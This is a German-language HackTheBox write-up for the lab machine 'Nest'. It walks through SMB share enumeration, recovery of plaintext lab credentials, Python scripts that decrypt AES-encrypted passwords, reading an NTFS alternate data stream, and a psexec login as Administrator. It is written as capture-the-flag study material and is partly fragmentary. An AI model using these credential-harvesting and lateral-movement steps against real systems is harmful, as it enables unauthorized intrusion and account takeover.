HTB · published
Nest
HTB Machine Writeup zu Nest ist aktuell nur als Lab Fragment dokumentiert. Vollständiges Writeup folgt bei sauberer Rekonstruktion.
Metadaten
- Name: Nest
- Plattform: Windows
- Kategorie: HTB Machine
- Schwierigkeit: Easy
- Ziel(e): User, Root/Administrator
- Kurzbeschreibung des Szenarios: HTB Machine Writeup zu Nest aus dem Intro-to-Dante-Kontext mit SMB- und Credential-Analyse.
Target Info
t1=10.10.10.178
Recon / Enumeration
nmap:
PORT STATE SERVICE
445/tcp open microsoft-ds
4386/tcp open unknowncheck 4386 port:
nc $t1 4386
HQK Reporting Service V1.2
enum smb null
smbclient -L //$t1
Password for [WORKGROUP\0xs1s3c]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
Secure$ Disk
Users Disk check Data Share files: Maintenance Alerts.txt Welcome Email.txt ☑️ Password
creds!
TempUser:welcome2019Hostname \HTB-NEST\Users<USERNAME>
enum smb with testuser
smbclient -L //$t1 -U testuser
Password for [WORKGROUP\testuser]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
Secure$ Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.enum smb with cme
cme smb $t1 --shares -u 'TempUser' -p 'welcome2019'
SMB 10.10.10.178 445 HTB-NEST [*] Windows 7 / Server 2008 R2 Build 7601 (name:HTB-NEST) (domain:HTB-NEST) (signing:False) (SMBv1:False)
SMB 10.10.10.178 445 HTB-NEST [+] HTB-NEST\TempUser:welcome2019
SMB 10.10.10.178 445 HTB-NEST [+] Enumerated shares
SMB 10.10.10.178 445 HTB-NEST Share Permissions Remark
SMB 10.10.10.178 445 HTB-NEST ----- ----------- ------
SMB 10.10.10.178 445 HTB-NEST ADMIN$ Remote Admin
SMB 10.10.10.178 445 HTB-NEST C$ Default share
SMB 10.10.10.178 445 HTB-NEST Data READ
SMB 10.10.10.178 445 HTB-NEST IPC$ Remote IPC
SMB 10.10.10.178 445 HTB-NEST Secure$ READ
SMB 10.10.10.178 445 HTB-NEST Users READ find files in IT/Configs/RU Scanner: RU_config.xml output:
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile> creds!
c.smith:fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=echo "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" | base64 -d | xxd <History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />network folder carl in IT
NT_STATUS_ACCESS_DENIED listing \IT\*
smb: \IT\> cd Carl
smb: \IT\Carl\> dir
. D 0 Wed Aug 7 21:42:14 2019
.. D 0 Wed Aug 7 21:42:14 2019
Docs D 0 Wed Aug 7 21:44:00 2019
Reports D 0 Tue Aug 6 15:45:40 2019
VB Projects D 0 Tue Aug 6 16:41:55 2019
5242623 blocks of size 4096. 1840045 blocks availablemit chat auf passwort suche in dateien: ConfigFile.vb Module1.vb Utils.vb
| Parameter | Wert |
|---|---|
| Passphrase | ”N3st22” |
| Salt | ”88552299” |
| Iterationen | 2 |
| Initialisierungsvektor (IV) | “464R5DFA5DL6LE28” |
| Key Size | 256 Bit (also 32 Byte) |
| Modus | AES-CBC |
python script zum encoden
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import base64
# Gegebene Parameter
cipher_b64 = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE="
passphrase = "N3st22"
salt = b"88552299"
iterations = 2
iv = b"464R5DFA5DL6LE28"
key_size = 32 # 256 bit / 8
# Schlüssel ableiten
key = PBKDF2(passphrase, salt, dkLen=key_size, count=iterations)
# Cipher vorbereiten
cipher_bytes = base64.b64decode(cipher_b64)
cipher = AES.new(key, AES.MODE_CBC, iv)
# Entschlüsseln und Padding entfernen
plaintext_padded = cipher.decrypt(cipher_bytes)
# Entferne mögliche Nullbytes oder andere Padding-Artefakte
plaintext = plaintext_padded.rstrip(b"\x00").decode("ascii", errors="ignore")
print("🔓 Entschlüsselter Text:", plaintext)python decoder.py
🔓 Entschlüsselter Text: xRxRxPANCAK3SxRxRx
creds:
c.smith:xRxRxPANCAK3SxRxRxall infos Debug Password.txt
allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time: Fri Aug 9 01:06:12 2019 CEST
access_time: Fri Aug 9 01:06:12 2019 CEST
write_time: Fri Aug 9 01:08:17 2019 CEST
change_time: Wed Jul 21 20:47:12 2021 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$DATA"
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt:Password:$DATA (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \C.Smith\HQK Reporting\> password:
cat "Debug Mode Password.txt:Password:\$DATA"
WBQ201953D8wInitial Foothold
User Privilege Escalation
Lateral Movement (optional)
Root Privilege Escalation
Use the Password for debug infos
nc $t1 4386 -C
HQK Reporting Service V1.2
>DEBUG WBQ201953D8w
DEBUG>SETDIR ..
Current directory set to HQK
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR commandQUERY FILES IN CURRENT DIRECTORY
[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xmlCurrent Directory: HQK
>SETDIR LDAPCurrent directory set to LDAP
>LIST
-- snip --
[1] HqkLdap.exe
[2] Ldap.confCurrent Directory: LDAP
>SHOWQUERY 2Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=🔐 Neue Entschlüsselungsdetails (aus # CR.RD()## )
| Parameter | Wert |
|---|---|
| Algorithmus | AES-256 (CBC Mode) |
| Key-Derivation | PBKDF2 (Rfc2898DeriveBytes) |
| Passphrase | ”667912” |
| Salt | ”1313Rf99” |
| Iterationen | 3 |
| Initialisierungsvektor (IV) | “1L1SA61493DRV53Z” |
| Schlüssellänge | 256 Bit |
python for adm
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import base64
# Encrypted string
cipher_b64 = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4="
# Parameters from CR class
passphrase = "667912"
salt = b"1313Rf99"
iterations = 3
iv = b"1L1SA61493DRV53Z"
key_size = 32 # 256-bit
# Key derivation
key = PBKDF2(passphrase, salt, dkLen=key_size, count=iterations)
# Decrypt
cipher_bytes = base64.b64decode(cipher_b64)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext_padded = cipher.decrypt(cipher_bytes)
# Remove null bytes (padding likely zero padding or incomplete PKCS7)
plaintext = plaintext_padded.rstrip(b"\x00").decode("ascii", errors="ignore")
print("🔓 Decrypted Text:", plaintext)creds! administrator:XtH4nkS4Pl4y1nGX
get the root flag
python3 psexec.py 'administrator:XtH4nkS4Pl4y1nGX@10.10.10.178'